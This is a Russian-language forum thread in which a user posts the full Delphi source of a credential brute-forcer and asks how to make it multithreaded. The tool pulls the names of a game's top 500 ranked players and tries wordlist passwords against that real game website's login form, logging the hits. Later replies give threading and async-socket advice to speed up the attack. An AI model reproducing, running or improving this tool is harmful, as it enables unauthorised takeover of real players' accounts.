[Delphi] Добавить многопоточность бруту

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Navern, 4 Feb 2007.

  1. Navern

    Navern New Member

    Joined:
    30 Jan 2007
    Messages:
    17
    Likes Received:
    2
    Reputations:
    1
    Есть брут и есть проблема. Как я понял, согласно исходному коду, который я привёл ниже (полный листинг) брут у меня работает в один поток. Я что-то где-то слышал про какую-то асинхронность и неблокирующие сокеты, но как реализовать многопоточный коннект я не знаю. Помогите, кто чем может.

    Если вдруг понадобится ещё что-то (например, форма) - я предоставлю.

    Code:
    unit Main;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, Grids, StdCtrls, xmldom, XMLIntf, oxmldom, XMLDoc,
      IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      msxmldom, OleCtrls, SHDocVw, MSXML, DBGrids, XPMan, ComCtrls, ImgList,
      ExtCtrls, DB, DBClient, Provider, WinSock, Sockets, ScktComp;
    
    Const
      WebServer = 'www.trackmanianations.com';
      WebPort   = 80;
      PostAddr  = '/indexUk.php';
      HTTP_Data =
        'Content-Type: application/x-www-form-urlencoded'#10+
        'User-Agent: Delphi/7.0 ()'#10+
        'Host: www.trackmanianations.com'#10+
        'Connection: Keep-Alive'#10;
    
    type
        TForm1        = class(TForm)
        GroupBox      : TGroupBox;
        Button1       : TButton;
        Button2       : TButton;
        Edit1         : TEdit;
        Edit2         : TEdit;
        ProgressBar   : TProgressBar;
        StringGrid    : TStringGrid;
        ClientSocket  : TClientSocket;
        XMLDocument   : TXMLDocument;
        Timer1        : TTimer;
        Timer2        : TTimer;
        Label1        : TLabel;
        Label2        : TLabel;
        Label3        : TLabel;
        Label4        : TLabel;
        Label5        : TLabel;
    
    
        procedure Button1Click            (Sender: TObject);
        procedure Button2Click            (Sender: TObject);
        procedure Form1Show               (Sender: TObject);
        procedure ClientSocketWrite       (Sender: TObject; Socket: TCustomWinSocket);
        procedure ClientSocketRead        (Sender: TObject; Socket: TCustomWinSocket);
        procedure ClientSocketDisconnect  (Sender: TObject; Socket: TCustomWinSocket);
        procedure ClientSocketError       (Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
        procedure Timer1Timer             (Sender: TObject);
        procedure Timer2Timer             (Sender: TObject);
        procedure GridClean               (Sender: TObject);
        procedure GridAlign               (Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState);
        procedure POST;
    
    
      private
        { Private declarations } 
        HTTP_POST   : String;
        FContent    : String;
        FResult     : String;
        Login       : String;
        Password    : String;
        shag        : Longint;
        k           : Longint;
        variant     : Longint;
        variantov   : Longint;
      public
        { Public declarations }
      end;
    
    var
      Form1     : TForm1;
      q, w      : Integer;
      Loginfile : Textfile;
      Passfile  : Textfile;
    
    implementation
    
    uses  StrUtils;
    
    {$R *.dfm}
    
    
    //------ Действия при открытии формы -------------------------------------------
    procedure TForm1.Form1Show(Sender: TObject);
    begin
      StringGrid.Rows[0].Strings[0]:='Логин';
      StringGrid.Rows[0].Strings[1]:='Пароль';
      GridClean(StringGrid);
      shag := 1;
      q := 0;
      w := 0;
      k := 0;
      variant := 0;
      Label3.Caption := 'Выполняется:';
      Label4.Caption := 'Текущий вариант:';
      Label5.Caption := 'Скорость перебора:';
    end;
    //------------------------------------------------------------------------------
    
    
    //------ Всякие кренделя с сокетами --------------------------------------------
    procedure TForm1.ClientSocketWrite(Sender: TObject; Socket: TCustomWinSocket);
    begin
      Socket.SendText(HTTP_POST+FContent);
      Label3.Caption := 'Выполняется: '+Login+' : '+Password;
      Label4.Caption := 'Текущий вариант: '+IntToStr(variant+1)+' из '+IntToStr(variantov)+' возможных';
    end;
    
    procedure TForm1.ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    begin
      FResult:=FResult+Socket.ReceiveText;
    end;
    
    procedure TForm1.ClientSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    begin
      variant := variant+1;
      if variantov > 0 then
      ProgressBar.Position := StrToInt(FloatToStr(round(variant*100/variantov)))
      else
      ProgressBar.Position := 100;
      if pos('deleted', FResult) = 0 then
        begin
          StringGrid.Rows[shag].Strings[0]:= Login;
          StringGrid.Rows[shag].Strings[1]:= Password;
          shag := shag+1;
          if shag > 5 then StringGrid.RowCount := StringGrid.RowCount+1;
        end;
      ClientSocket.Close;
      if variant < variantov then
        begin
          Timer1.Enabled:=true;
        end else
        Begin
          Timer1.Enabled:=false;
          Timer2.Enabled:=false;
          Label3.Caption := 'Выполняется: вариантов больше нет';
          Label4.Caption := 'Текущий вариант: вариантов больше нет';
          Label5.Caption := 'Скорость перебора: вариантов больше нет';
        end;
    end;
    
    procedure TForm1.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    begin
      ErrorCode := 0;
    end;
    //------------------------------------------------------------------------------
    
    
    //------ Перебор и посылка данных ----------------------------------------------
    procedure TForm1.Timer1Timer(Sender: TObject);                                  // Процедура включения первого таймера.
    begin                                                                           // Поехали.
        if Eof(PassFile) then                                                       // Если пассы кончились, то
          Begin                                                                     // делаем следущее:
            Reset(Passfile);                                                        // вернуться к началу файла пассов
            ReadLn (Loginfile, Login);                                              // и взять следущий логин из списка.
          end;                                                                      // Вот так-то. ;)
        ReadLn (Passfile, Password);                                                // При каждом включении таймера считывается новый пасс,
        Timer1.Enabled := false;                                                    // сам таймер после этого ставится на ручник
        POST;                                                                       // и пароль вместе с логином отправляются в процедуру формирования запроса.
    end;                                                                            // Закончилась процедура.
                                                                                    //
    procedure TForm1.POST;                                                          // Процедура подстановки и отправки данных.
    begin                                                                           // Поехали.
      FResult:='';                                                                  // Обнуляем результат получения предыдущего контента.
      FContent:=                                                                    // Записываем в структуру запроса POST новые данные
      'username='+ Login +'&'+                                                      // ... имя пользователя
      'password='+ Password +'&'+                                                   // ... пароль пользователя
      'Submit=ok'+                                                                  // ... и эмулируем нажатие кнопки "ОК" из формы.
      #10;                                                                          // Далее завершаем формирование структуры запроса...
      FContent := 'Content-Length: '+IntToStr(Length(FContent))+#10+#10+FContent;   // ...
      ClientSocket.Host := WebServer;                                               // ...
      ClientSocket.Port := WebPort;                                                 // ...
      HTTP_POST         := 'POST '+PostAddr+' HTTP/1.0'#10;                         // ...
      HTTP_Post         := HTTP_Post + HTTP_Data;                                   // ...
      ClientSocket.Open;                                                            // ... и открываем сокет. Данные из POST-запроса передадутся куда надо.
    end;                                                                            // Вот, собственно, и всё.
    //------------------------------------------------------------------------------
    
    
    //------ Генерация списка ТОП 500 пользователей --------------------------------
    procedure TForm1.Button1Click(Sender: TObject);
    var player, nd : IXMLNode;
        i          : longint;
        Memo       : TMemo;
    begin
      Memo         := TMemo.Create(Form1);                                          // На лету создаём TМемо, куда будет
      Memo.Visible := False;                                                        // скидываться весь список. Впоследствии этот список
      Memo.Parent  := Form1;                                                        // автоматически сохраняется на диск с именем logins.txt
      Memo.Clear;
      self.XMLDocument.LoadFromFile ('http://tmnstats.rockweb.org/xml_ranking_players.php?limit=500');
      self.XMLDocument.Active := true;
      nd := XMLDocument.ChildNodes['ranking'].ChildNodes['players'];
         for i:=0 to nd.ChildNodes.Count-1 do
         begin
              player:=nd.ChildNodes[i];
              Memo.Lines.Add (player.ChildValues['name']);
         end;
         DeleteFile ('logins.txt');
         Memo.Lines.SaveToFile ('logins.txt');
         XMLDocument.Active:=false;
    end;
    //------------------------------------------------------------------------------
    
    
    //------ Действия при нажатии кнопки перебора ----------------------------------
    procedure TForm1.Button2Click(Sender: TObject);
    var
      LoginCount : TStringList;
      PassCount  : TStringList;
      LGN, PSW   : Integer;
    begin
      AssignFile(Loginfile, Edit1.Text);
      AssignFile(Passfile, Edit2.Text);
      if not FileExists(Edit1.Text) then
        Begin
          Rewrite(Loginfile);
          Application.MessageBox(PChar('Заполните файл '+Edit1.Text+' логинами'), 'Ошибка', mb_Ok);
        end;
      if not FileExists(Edit2.Text) then
        Begin
          Rewrite(Passfile);
          Application.MessageBox(PChar('Заполните файл '+Edit2.Text+' паролями'), 'Ошибка', mb_Ok);
        end;
      Reset(Loginfile);
      Reset(Passfile);
      Button1.Enabled := False;
      Button2.Enabled := False;
      Edit1.Enabled := False;
      Edit2.Enabled := False;
      ReadLn (Loginfile, Login);
      Timer1.Enabled := true;
      Timer2.Enabled := true;
      Button2.Caption := 'Время перебора: 0 сек.';
        LoginCount := TStringList.Create;
          LoginCount.LoadFromFile(Edit1.Text);
          LGN := LoginCount.Count;
          LoginCount.Free;
        PassCount := TStringList.Create;
          PassCount.LoadFromFile(Edit2.Text);
          PSW := LoginCount.Count;
          PassCount.Free;
      Variantov := LGN*PSW;
    end;
    //------------------------------------------------------------------------------
    
    
    //------ Вычисление времени работы брутфорса -----------------------------------
    procedure TForm1.Timer2Timer(Sender: TObject);
    begin
      k := k+1;
      Button2.Caption := 'Время перебора: '+IntToStr(k)+' сек.';
      Label5.Caption := 'Скорость перебора: '+FloatToStr(round(variant*60/k))+' вариантов в минуту';
    end;
    //------------------------------------------------------------------------------
    
    
    //------ Процедуры очистки выделения и выравнивания таблиц ---------------------
    procedure TForm1.GridClean(Sender: TObject);
    var hGridRect: TGridRect;
    begin
       hGridRect.Top := -1;
       hGridRect.Left := -1;
       hGridRect.Right := -1;
       hGridRect.Bottom := -1;
       (Sender as TStringGrid).Selection := hGridRect;
    end;
    
    procedure TForm1.GridAlign(Sender: TObject; ACol, ARow: Integer; Rect: TRect; State: TGridDrawState);
    var s: string;
    begin
      with Sender as TStringGrid do begin
        s:=cells[acol,arow];
        canvas.FillRect (rect);
        rect.right:=rect.Right -2;
        DrawText(canvas.handle,pchar(s),-1,Rect, DT_SINGLELINE OR DT_VCENTER OR DT_CENTER);
      end;
    end;
    //------------------------------------------------------------------------------
    
    
    end.
     
  2. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    где то слышал?? при это написал брут? ))) мдя...
    так вот ищи информацию про работу с классом TThread... потоки...
     
  3. Navern

    Navern New Member

    Joined:
    30 Jan 2007
    Messages:
    17
    Likes Received:
    2
    Reputations:
    1
    Ну, брут написать было может и сложно (учитывая, что Делфи я установил не давеча как неделю назад), но вполне реально. А сейчас, когда настало время всяких оптимизаций и ускорений, как раз и полезли косяки, связанные с пробелами в знаниях.

    Спасибо, буду искать там про этот TThread.
     
  4. Navern

    Navern New Member

    Joined:
    30 Jan 2007
    Messages:
    17
    Likes Received:
    2
    Reputations:
    1
    Go0o$E, пробежал я код глазами... Это жесть. Мне жизни не хватит, чтобы ЭТО осилить... =)
     
  5. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    773
    Likes Received:
    842
    Reputations:
    1,369
    Если хочешь использовать асинхронные сокеты не используй TThread и тамже вместо GetHostByName используй WSAAsyncGetHostByName, с него придет msg , забирать айпи вот так Integer(Pointer(PHostEnt(FGetHostData).h_addr^)^);
     
  6. Navern

    Navern New Member

    Joined:
    30 Jan 2007
    Messages:
    17
    Likes Received:
    2
    Reputations:
    1
    Всё, не могу больше. Наверное я тупой, раз не могу сделать такую элементарщину. Пожалуйста, народ, выручайте, а то пойду и утоплюсь. От безысходности. =)

    Вот исходник: http://slil.ru/23898956 (47Кб). Я прошу сделать с ним что-нибудь такое, чтобы он начал просто-напросто работать в многопоточном режиме.

    Все вышеозначенные советы я внимательно изучил, но так и не нашёл им применения в моём случае.
     
    1 person likes this.
  7. flipper

    flipper Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    131
    Likes Received:
    85
    Reputations:
    29
    Api функция создания потока: CreateThread;

    Первая ссылка из google: http://gurin.tomsknet.ru/delphithreads.html
     
Loading...